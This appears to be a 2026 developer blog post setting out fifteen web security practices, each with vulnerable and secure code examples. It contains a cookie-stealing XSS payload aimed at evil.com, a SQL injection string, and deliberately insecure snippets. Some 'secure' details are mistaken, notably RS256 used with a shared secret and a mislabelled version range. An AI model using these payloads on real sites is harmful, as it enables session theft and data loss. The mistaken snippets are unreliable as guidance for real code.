Security

Web Security Essentials: 15 Best Practices Every Developer Should Know in 2026

2026-07-13·15 min read
#Web Security#CSP#XSS#authentication#HTTPS

Web security is no longer an afterthought — it's the foundation of every modern application. In 2026, attackers are more sophisticated, attack surfaces are wider than ever, and a single vulnerability can compromise millions of user records. Whether you're building a startup MVP or maintaining enterprise infrastructure, these 15 web security best practices will help you build applications that withstand real-world threats.

Why Web Security Matters More Than Ever in 2026

The average cost of a data breach reached $4.9 million in 2025, and regulatory frameworks like GDPR, CCPA, and the new EU AI Act impose heavy penalties for security negligence. Modern web applications handle authentication, payments, personal data, and API integrations — each a potential entry point for attackers.

This guide covers the 15 most critical web security practices, complete with vulnerable vs. secure code examples and recommended tools. Let's make your applications bulletproof.


1. Enforce HTTPS and Use Modern TLS Configuration

The Problem

Serving content over HTTP exposes user data to man-in-the-middle (MITM) attacks. Even on internal networks, unencrypted traffic can be intercepted, modified, or replayed. Many developers also use outdated TLS versions (TLS 1.0/1.1) that are vulnerable to attacks like BEAST and POODLE.

❌ Vulnerable Code

# nginx — No HTTPS, no redirect
server {
    listen 80;
    server_name example.com;
    # All traffic served in plaintext — easily intercepted
}

✅ Secure Code

# nginx — Enforce HTTPS with HSTS and modern TLS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers off;

    # HSTS — force browsers to always use HTTPS
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
}

🛠️ Recommended Tools


2. Implement a Strict Content Security Policy (CSP)

The Problem

Without a Content Security Policy, browsers will execute any script that reaches your page — including malicious scripts injected via XSS attacks. CSP is your most powerful defense against cross-site scripting by whitelisting trusted content sources.

❌ Vulnerable Code

<!-- No CSP header — browsers allow any script to execute -->
<html>
<head>
    <title>My App</title>
</head>
<body>
    <!-- If user input is rendered here without escaping, XSS is trivial -->
    <div id="output"></div>
    <script>
        document.getElementById('output').innerHTML = new URLSearchParams(
            location.search
        ).get('name');
    </script>
</body>
</html>

✅ Secure Code

<!-- Serve this header from your server or CDN -->
<!-- Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; object-src 'none' -->

<html>
<head>
    <title>My App</title>
    <!-- Nonce-based script loading -->
    <script nonce="{RANDOM_NONCE}" src="/app.js"></script>
</head>
<body>
    <div id="output"></div>
    <script nonce="{RANDOM_NONCE}">
        // Safe: textContent doesn't execute HTML
        document.getElementById('output').textContent = new URLSearchParams(
            location.search
        ).get('name') ?? '';
    </script>
</body>
</html>

🛠️ Recommended Tools


3. Configure CORS Properly to Prevent Cross-Origin Attacks

The Problem

Cross-Origin Resource Sharing (CORS) errors are frustrating, and many developers "fix" them by setting Access-Control-Allow-Origin: * with credentials enabled. This is catastrophic — it allows any website to make authenticated requests to your API.

❌ Vulnerable Code

// Express.js — CORS wide open with credentials
const cors = require('cors');

app.use(cors({
    origin: '*',           // Allow ANY origin
    credentials: true,     // AND send cookies — this is dangerous
}));

✅ Secure Code

// Express.js — Whitelist specific origins
const allowedOrigins = [
    'https://example.com',
    'https://app.example.com',
];

app.use(cors({
    origin(origin, callback) {
        if (!origin || allowedOrigins.includes(origin)) {
            callback(null, true);
        } else {
            callback(new Error('Not allowed by CORS'));
        }
    },
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    maxAge: 86400, // Cache preflight for 24 hours
}));

🛠️ Recommended Tools

  • cors-validator — Validate your CORS headers
  • Browser DevTools — Check the Network tab for preflight (OPTIONS) responses

4. Prevent SQL Injection with Parameterized Queries

The Problem

SQL injection remains one of the most common and devastating web vulnerabilities — it's been in the OWASP Top 10 for over a decade. Attackers can extract, modify, or delete your entire database by manipulating user input that's concatenated directly into SQL strings.

❌ Vulnerable Code

// Node.js — String concatenation = SQL injection
app.get('/user', (req, res) => {
    const userId = req.query.id;
    // Attacker input: 1; DROP TABLE users; --
    const query = `SELECT * FROM users WHERE id = ${userId}`;
    db.execute(query, (err, results) => {
        res.json(results);
    });
});

✅ Secure Code

// Node.js — Parameterized queries are immune to SQL injection
app.get('/user', (req, res) => {
    const userId = req.query.id;

    // Use placeholders — the database engine handles escaping
    db.execute(
        'SELECT * FROM users WHERE id = ?',
        [userId],
        (err, results) => {
            if (err) return res.status(500).json({ error: 'Database error' });
            res.json(results);
        }
    );
});

// Even better — use an ORM with built-in query safety
// Prisma example:
const user = await prisma.user.findUnique({
    where: { id: parseInt(userId) },
});

🛠️ Recommended Tools

  • SQLMap — Automated SQL injection detection (use on your own apps)
  • Prisma or Drizzle ORM — Type-safe ORMs that prevent injection by design

5. Defend Against Cross-Site Scripting (XSS)

The Problem

XSS attacks inject malicious scripts into pages viewed by other users. These scripts can steal session tokens, redirect users to phishing sites, or perform actions on behalf of the victim. There are three main types: Stored XSS (malicious data persisted in the database), Reflected XSS (payload in the URL), and DOM-based XSS (client-side code manipulation).

❌ Vulnerable Code

// React — dangerouslySetInnerHTML with user data
function Comment({ userComment }) {
    return (
        <div dangerouslySetInnerHTML={{ __html: userComment }} />
        // An attacker submits: <img src=x onerror=fetch('https://evil.com?c='+document.cookie)>
    );
}

✅ Secure Code

// React — Automatic escaping by default
function Comment({ userComment }) {
    return <div>{userComment}</div>;
    // React escapes all interpolated values automatically
}

// If you MUST render HTML, sanitize it first
import DOMPurify from 'isomorphic-dompurify';

function SafeComment({ userComment }) {
    const clean = DOMPurify.sanitize(userComment, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li', 'a'],
        ALLOWED_ATTR: ['href'],
    });
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

🛠️ Recommended Tools

  • DOMPurify — Industry-standard HTML sanitizer
  • Burp Suite — Professional web vulnerability scanner

6. Block CSRF Attacks with Anti-CSRF Tokens

The Problem

Cross-Site Request Forgery (CSRF) tricks authenticated users into submitting unwanted actions to your application. Since browsers automatically attach cookies, a malicious site can trigger state-changing requests (transfers, password changes, deletions) on behalf of the logged-in user.

❌ Vulnerable Code

// Express.js — State-changing endpoint with no CSRF protection
app.post('/transfer-money', (req, res) => {
    // Only checks if user is logged in via cookie
    // An attacker can create a form on evil.com that submits here
    const { amount, toAccount } = req.body;
    transferMoney(req.session.userId, toAccount, amount);
    res.json({ success: true });
});

✅ Secure Code

// Express.js — Double-submit cookie pattern with CSRF tokens
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

app.use(cookieParser());

// Generate CSRF token
const csrfProtection = csrf({ cookie: true });

// Expose token to frontend
app.get('/csrf-token', csrfProtection, (req, res) => {
    res.json({ csrfToken: req.csrfToken() });
});

// Protect all state-changing routes
app.post('/transfer-money', csrfProtection, (req, res) => {
    const { amount, toAccount } = req.body;
    transferMoney(req.session.userId, toAccount, amount);
    res.json({ success: true });
});

// Frontend must include the token
// fetch('/transfer-money', {
//     method: 'POST',
//     headers: { 'X-CSRF-Token': csrfToken },
//     body: JSON.stringify({ amount: 100, toAccount: '12345' }),
// });

🛠️ Recommended Tools

  • csurf — Express.js CSRF middleware (or modern alternatives like csrf-csrf)
  • SameSite Cookies — Set SameSite=Lax or SameSite=Strict on session cookies

7. Secure JWT Authentication Properly

The Problem

JSON Web Tokens (JWTs) are everywhere, but they're frequently misconfigured. Common mistakes include storing tokens in localStorage (vulnerable to XSS), using weak signing algorithms, never expiring tokens, and not validating signatures properly.

❌ Vulnerable Code

// Signing JWT with weak algorithm and no expiration
const jwt = require('jsonwebtoken');

// Using 'none' algorithm or weak secret
const token = jwt.sign({ userId: 123, role: 'admin' }, 'secret123', {
    algorithm: 'HS256', // Weak key — easily brute-forced
    // No expiresIn — token is valid forever
});

// Storing in localStorage (accessible via XSS)
// localStorage.setItem('token', token);  // DON'T DO THIS

✅ Secure Code

// Secure JWT implementation
const crypto = require('crypto');

// Generate a strong signing key (at least 256 bits)
const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET; // 32+ random bytes
const REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_SECRET;

// Short-lived access token
const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    ACCESS_TOKEN_SECRET,
    {
        algorithm: 'RS256', // Asymmetric — more secure for distributed systems
        expiresIn: '15m',
        issuer: 'https://api.example.com',
        audience: 'https://app.example.com',
    }
);

// Long-lived refresh token (stored in HTTP-only cookie)
const refreshToken = jwt.sign(
    { userId: user.id, tokenVersion: user.tokenVersion },
    REFRESH_TOKEN_SECRET,
    { algorithm: 'RS256', expiresIn: '7d' }
);

// Store refresh token in an HTTP-only, Secure, SameSite cookie
res.cookie('refreshToken', refreshToken, {
    httpOnly: true,      // Not accessible via JavaScript
    secure: true,         // Only over HTTPS
    sameSite: 'strict',   // Prevent CSRF
    path: '/auth/refresh',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
});

🛠️ Recommended Tools

  • JWT.io — Debug and decode JWT tokens
  • Jose — Modern, well-maintained JWT library for Node.js

8. Implement Rate Limiting and Brute Force Protection

The Problem

Without rate limiting, attackers can brute-force passwords, enumerate user accounts, scrape your data, or launch denial-of-service attacks. APIs are especially vulnerable because they're designed for programmatic access.

❌ Vulnerable Code

// Express.js — Login endpoint with zero protection
app.post('/login', async (req, res) => {
    const { email, password } = req.body;
    const user = await User.findOne({ email });
    if (user && await bcrypt.compare(password, user.password)) {
        return res.json({ token: generateToken(user) });
    }
    res.status(401).json({ error: 'Invalid credentials' });
    // An attacker can try 10,000 passwords per second — no limits
});

✅ Secure Code

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const redis = require('redis');

const redisClient = redis.createClient({ url: process.env.REDIS_URL });

// Global API rate limiting
const apiLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
    windowMs: 15 * 60 * 1000, // 15 minutes
    max: 100,                   // 100 requests per window per IP
    standardHeaders: true,
    legacyHeaders: false,
    message: { error: 'Too many requests, please try again later.' },
});

app.use('/api/', apiLimiter);

// Stricter rate limiting for auth endpoints
const authLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
    windowMs: 15 * 60 * 1000,
    max: 5, // Only 5 login attempts per 15 minutes
    skipSuccessfulRequests: true, // Don't count successful logins
    message: { error: 'Too many login attempts. Account locked for 15 minutes.' },
});

app.post('/login', authLimiter, async (req, res) => {
    // ... authentication logic
});

🛠️ Recommended Tools


9. Hash Passwords with Modern Algorithms

The Problem

Storing passwords in plaintext or with outdated hashing algorithms (MD5, SHA1) is a critical security failure. If your database is compromised, weakly hashed passwords can be cracked in seconds using rainbow tables and GPU brute-force attacks.

❌ Vulnerable Code

const crypto = require('crypto');

// MD5 or SHA1 — completely broken, never use for passwords
const hash = crypto.createHash('md5').update(password).digest('hex');

// Even SHA-256 without salt is vulnerable to rainbow table attacks
const sha256Hash = crypto.createHash('sha256').update(password).digest('hex');

// bcrypt with low work factor — too fast for modern GPUs
const bcrypt = require('bcrypt');
const hashedPassword = bcrypt.hashSync(password, 4); // Cost factor 4 is way too low

✅ Secure Code

// Argon2id — the gold standard for password hashing in 2026
const argon2 = require('argon2');

async function hashPassword(password) {
    const hash = await argon2.hash(password, {
        type: argon2.argon2id,       // Recommended variant
        memoryCost: 65536,            // 64 MB memory usage
        timeCost: 3,                  // 3 iterations
        parallelism: 4,               // Use 4 threads
        saltLength: 32,               // 32-byte salt
        hashLength: 64,               // 64-byte hash
    });
    return hash;
}

async function verifyPassword(hash, password) {
    try {
        return await argon2.verify(hash, password);
    } catch {
        return false;
    }
}

// Enforce minimum password requirements
function validatePasswordStrength(password) {
    const minLength = 12;
    const hasUpper = /[A-Z]/.test(password);
    const hasLower = /[a-z]/.test(password);
    const hasNumber = /\d/.test(password);
    const hasSpecial = /[!@#$%^&*(),.?":{}|<>]/.test(password);

    return password.length >= minLength && hasUpper && hasLower && hasNumber && hasSpecial;
}

🛠️ Recommended Tools

  • Argon2 — Winner of the Password Hashing Competition (PHC)
  • zxcvbn — Dropbox's realistic password strength estimator
  • Have I Been Pwned API — Check passwords against known breach databases

10. Validate and Sanitize All User Input

The Problem

Every piece of user input — form fields, query parameters, headers, cookies, file uploads — is a potential attack vector. Failing to validate and sanitize input leads to injection attacks, path traversal, SSRF, and many other vulnerabilities. Never trust user input.

❌ Vulnerable Code

// No validation — accepts anything
app.post('/api/profile', (req, res) => {
    const { name, email, bio, website } = req.body;

    // Directly saves whatever the user sends
    user.name = name;
    user.email = email;
    user.bio = bio;
    user.website = website;
    await user.save();
    // What if name is 10MB? What if website is a JavaScript URL?
    // What if bio contains <script> tags?
});

✅ Secure Code

const { z } = require('zod');

// Define a strict schema for profile updates
const profileSchema = z.object({
    name: z.string().min(1).max(100),
    email: z.string().email(),
    bio: z.string().max(500).optional(),
    website: z.string().url().refine(
        (url) => url.startsWith('http://') || url.startsWith('https://'),
        'Only HTTP(S) URLs are allowed'
    ).optional(),
    age: z.number().int().min(13).max(120).optional(),
});

app.post('/api/profile', (req, res) => {
    const result = profileSchema.safeParse(req.body);

    if (!result.success) {
        return res.status(400).json({
            error: 'Validation failed',
            details: result.error.flatten(),
        });
    }

    const { name, email, bio, website } = result.data;
    // Only validated, schema-conforming data reaches the database
    Object.assign(user, { name, email, bio, website });
    await user.save();
    res.json({ success: true });
});

🛠️ Recommended Tools

  • Zod — TypeScript-first schema validation with static type inference
  • Joi — Powerful schema description language and validator
  • express-validator — Express.js middleware built on validator.js

11. Set Secure HTTP Security Headers

The Problem

Missing security headers leave your application exposed to clickjacking, MIME-type sniffing attacks, and various browser-based exploits. These headers act as a defense-in-depth layer that constrains how browsers interact with your content.

❌ Vulnerable Code

// No security headers configured
const express = require('express');
const app = express();
// ...routes
app.listen(3000);

✅ Secure Code

const express = require('express');
const helmet = require('helmet');

const app = express();

// Helmet sets a comprehensive set of security headers:
// - Content-Security-Policy
// - X-Content-Type-Options: nosniff
// - X-Frame-Options: SAMEORIGIN (or CSP frame-ancestors)
// - Strict-Transport-Security (HSTS)
// - Referrer-Policy
// - Permissions-Policy
// - X-DNS-Prefetch-Control
app.use(helmet());

// Fine-tune specific headers for your needs
app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "'nonce-{RANDOM}'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", 'data:', 'https:'],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameAncestors: ["'none'"],
        objectSrc: ["'none'"],
        upgradeInsecureRequests: [],
    },
}));

app.use(helmet.crossOriginEmbedderPolicy({ policy: 'require-corp' }));
app.use(helmet.crossOriginOpenerPolicy({ policy: 'same-origin' }));
app.use(helmet.crossOriginResourcePolicy({ policy: 'same-origin' }));

🛠️ Recommended Tools


12. Use Dependency Scanning to Catch Vulnerable Packages

The Problem

Modern applications depend on hundreds or thousands of third-party packages. A vulnerability in any one of them — like the infamous Log4Shell (CVE-2021-44228) — can compromise your entire system. Supply chain attacks via malicious npm/PyPI packages are also on the rise.

❌ Vulnerable Code

# Blindly installing packages without checking
npm install some-random-package
# Never updating dependencies
# "If it works, don't touch it" — a dangerous mindset

✅ Secure Code

# Check for known vulnerabilities
npm audit
npm audit fix

# Use npm's package-lock.json for reproducible builds
npm ci

# Pin major versions to avoid unexpected breaking changes
# package.json:
# {
#   "dependencies": {
#     "express": "^4.19.2",  // Patch updates only
#     "react": "~18.3.1"      // Minor updates only
#   }
# }
# .github/workflows/security.yml — GitHub Actions for continuous scanning
name: Security Scan
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '22'
      - run: npm ci
      - run: npm audit --audit-level=moderate
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

🛠️ Recommended Tools

  • Snyk — Continuous dependency vulnerability scanning
  • Dependabot — GitHub's built-in dependency updates
  • Socket — Detects malicious packages and supply chain attacks

13. Secure Your File Upload Functionality

The Problem

File upload features are a goldmine for attackers. Without proper restrictions, malicious users can upload executable scripts (web shells), oversized files that crash your server, or files with disguised extensions. This can lead to remote code execution, denial of service, or storage of illegal content.

❌ Vulnerable Code

const multer = require('multer');

// Accepts any file, any size, any type
const upload = multer({ dest: 'uploads/' });
app.post('/upload', upload.single('file'), (req, res) => {
    res.json({ path: `/uploads/${req.file.filename}` });
    // Attacker uploads: shell.php (web shell) → RCE
});

✅ Secure Code

const multer = require('multer');
const crypto = require('crypto');
const path = require('path');
const sharp = require('sharp');

// Strict file validation
const ALLOWED_MIME_TYPES = {
    'image/jpeg': 'jpg',
    'image/png': 'png',
    'image/webp': 'webp',
    'application/pdf': 'pdf',
};

const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB

const storage = multer.diskStorage({
    destination: (req, file, cb) => cb(null, '/tmp/uploads'),
    filename: (req, file, cb) => {
        // Generate a random filename — never use the original
        const random = crypto.randomBytes(16).toString('hex');
        const ext = ALLOWED_MIME_TYPES[file.mimetype];
        cb(null, `${random}.${ext}`);
    },
});

const upload = multer({
    storage,
    limits: { fileSize: MAX_FILE_SIZE },
    fileFilter: (req, file, cb) => {
        if (ALLOWED_MIME_TYPES[file.mimetype]) {
            cb(null, true);
        } else {
            cb(new Error('File type not allowed'), false);
        }
    },
});

app.post('/upload', upload.single('file'), async (req, res) => {
    if (!req.file) return res.status(400).json({ error: 'No file uploaded' });

    // For images: re-encode to strip embedded malicious data
    if (req.file.mimetype.startsWith('image/')) {
        await sharp(req.file.path)
            .resize(1920, 1920, { fit: 'inside', withoutEnlargement: true })
            .toFile(`/app/public/uploads/${req.file.filename}`);
    }

    // Store metadata in database, not the file
    await File.create({
        filename: req.file.filename,
        mimeType: req.file.mimetype,
        size: req.file.size,
        uploadedBy: req.user.id,
    });

    res.json({ success: true, filename: req.file.filename });
});

🛠️ Recommended Tools

  • Sharp — Image processing that strips malicious metadata
  • ClamAV — Open-source antivirus for scanning uploaded files
  • AWS S3 + CloudFront — Store files off your application server with CDN delivery

14. Implement Proper Session Management

The Problem

Poor session management — predictable session IDs, no expiration, no invalidation on logout — allows attackers to hijack user sessions. Session fixation attacks, where an attacker forces a known session ID on a victim, are also a risk.

❌ Vulnerable Code

// Express.js — Insecure session configuration
app.use(session({
    secret: 'keyboard cat',   // Weak secret
    cookie: {
        httpOnly: false,       // JavaScript can read the cookie (XSS risk)
        secure: false,         // Sent over HTTP too
        sameSite: 'none',      // Sent on every cross-site request
    },
    // No session expiration
    // No regeneration on login
}));

app.post('/login', (req, res) => {
    // Session ID is NOT regenerated — enables session fixation
    req.session.userId = user.id;
    res.json({ success: true });
});

✅ Secure Code

const session = require('express-session');
const RedisStore = require('connect-redis')(session);
const crypto = require('crypto');

app.use(session({
    store: new RedisStore({ client: redisClient }),
    secret: process.env.SESSION_SECRET, // 64+ random bytes
    name: '__Host-sid',                  // __Host- prefix forces Secure + no path/domain
    resave: false,
    saveUninitialized: false,
    rolling: true,                        // Reset expiration on each request
    cookie: {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 30 * 60 * 1000,          // 30 minutes of inactivity
        path: '/',
    },
}));

app.post('/login', async (req, res) => {
    // Regenerate session ID to prevent fixation
    const prevSession = req.session;
    req.session.regenerate((err) => {
        if (err) return res.status(500).json({ error: 'Session error' });

        // Copy data to new session
        req.session.userId = user.id;
        req.session.createdAt = Date.now();
        req.session.ip = req.ip;
        req.session.userAgent = req.get('User-Agent');

        res.json({ success: true });
    });
});

app.post('/logout', (req, res) => {
    req.session.destroy((err) => {
        if (err) return res.status(500).json({ error: 'Logout failed' });
        res.clearCookie('__Host-sid');
        res.json({ success: true });
    });
});

🛠️ Recommended Tools


15. Monitor, Log, and Respond to Security Events

The Problem

You can't protect what you can't see. Without proper logging and monitoring, you'll never know when an attack is happening — or has already happened. The average time to detect a breach is 204 days. Good logging can shrink that to minutes.

❌ Vulnerable Code

// Minimal or no logging
app.post('/login', async (req, res) => {
    const { email, password } = req.body;
    const user = await User.findOne({ email });

    if (!user) {
        // Silent failure — no record of failed attempts
        return res.status(401).json({ error: 'Invalid credentials' });
    }
    // ...
});

✅ Secure Code

const pino = require('pino');
const logger = pino({
    level: process.env.LOG_LEVEL || 'info',
    transport: process.env.NODE_ENV === 'development'
        ? { target: 'pino-pretty' }
        : undefined,
    redact: {
        paths: ['req.headers.authorization', 'req.body.password',
                'req.body.creditCard', '*.password', '*.token'],
        censor: '[REDACTED]',
    },
});

// Structured security event logging
app.post('/login', async (req, res) => {
    const { email } = req.body;
    const ip = req.ip;
    const userAgent = req.get('User-Agent');

    const user = await User.findOne({ email });

    if (!user || !(await argon2.verify(user.password, req.body.password))) {
        logger.warn({
            event: 'auth_failed',
            email,
            ip,
            userAgent,
            timestamp: new Date().toISOString(),
        });

        // Alert on suspicious patterns
        const recentFailures = await countRecentFailures(email, ip, '15m');
        if (recentFailures >= 5) {
            logger.error({
                event: 'brute_force_detected',
                email,
                ip,
                attemptCount: recentFailures,
            });
            // Trigger automated response: lock account, notify user, etc.
        }

        return res.status(401).json({ error: 'Invalid credentials' });
    }

    logger.info({
        event: 'auth_success',
        userId: user.id,
        ip,
        userAgent,
    });

    // ... proceed with login
});

// Audit logging for sensitive operations
function auditLog(action, userId, details) {
    logger.info({
        event: 'audit',
        action,        // 'password_change', 'data_export', 'role_update'
        userId,
        details,
        timestamp: new Date().toISOString(),
        ip: requestIdToIp.get(details.requestId),
    });
}

🛠️ Recommended Tools

  • Pino — Extremely fast Node.js logger with structured JSON output
  • Datadog or Grafana Loki — Centralized log aggregation and alerting
  • Sentry — Real-time error tracking and performance monitoring
  • Wazuh — Open-source SIEM and XDR for security monitoring

Conclusion: Security Is a Continuous Process

Web security in 2026 is not a checkbox — it's an ongoing discipline. The 15 best practices in this guide provide a strong foundation, but security requires constant vigilance:

  1. Stay informed — Follow OWASP, subscribe to security advisories, and monitor CVE databases.
  2. Automate security testing — Integrate SAST, DAST, and dependency scanning into your CI/CD pipeline.
  3. Conduct regular security audits — Penetration testing and code reviews catch what automated tools miss.
  4. Train your team — Security awareness is your strongest defense. A single phishing email can bypass every technical control.
  5. Have an incident response plan — When (not if) a breach happens, every minute counts.

Remember: Security is not about being perfect. It's about reducing risk, minimizing attack surface, and making your application a harder target than the attacker is willing to work for. Start with the highest-impact items — HTTPS, input validation, parameterized queries, and proper authentication — and iterate from there.

Stay secure out there. 🔒


Frequently Asked Questions

What is the most critical web security practice?

If you can only implement one thing, enforce HTTPS everywhere. It encrypts all data in transit and is the foundation of secure communication on the web.

How often should I update my dependencies?

Run npm audit (or equivalent) at least weekly, and review major updates monthly. Set up Dependabot or Snyk to automate vulnerability alerts.

Is CSP enough to prevent XSS?

CSP significantly reduces XSS risk, but it should be combined with proper output encoding, input sanitization, and frameworks that auto-escape (like React). No single control is sufficient.

What's the difference between authentication and authorization?

Authentication verifies who you are (login). Authorization determines what you can do (permissions). Both must be implemented correctly for security.

Should I use JWT or sessions?

Both can be secure if implemented correctly. Sessions are simpler and work well for traditional web apps. JWTs are better for stateless APIs and microservices. Never store tokens in localStorage — use HTTP-only cookies.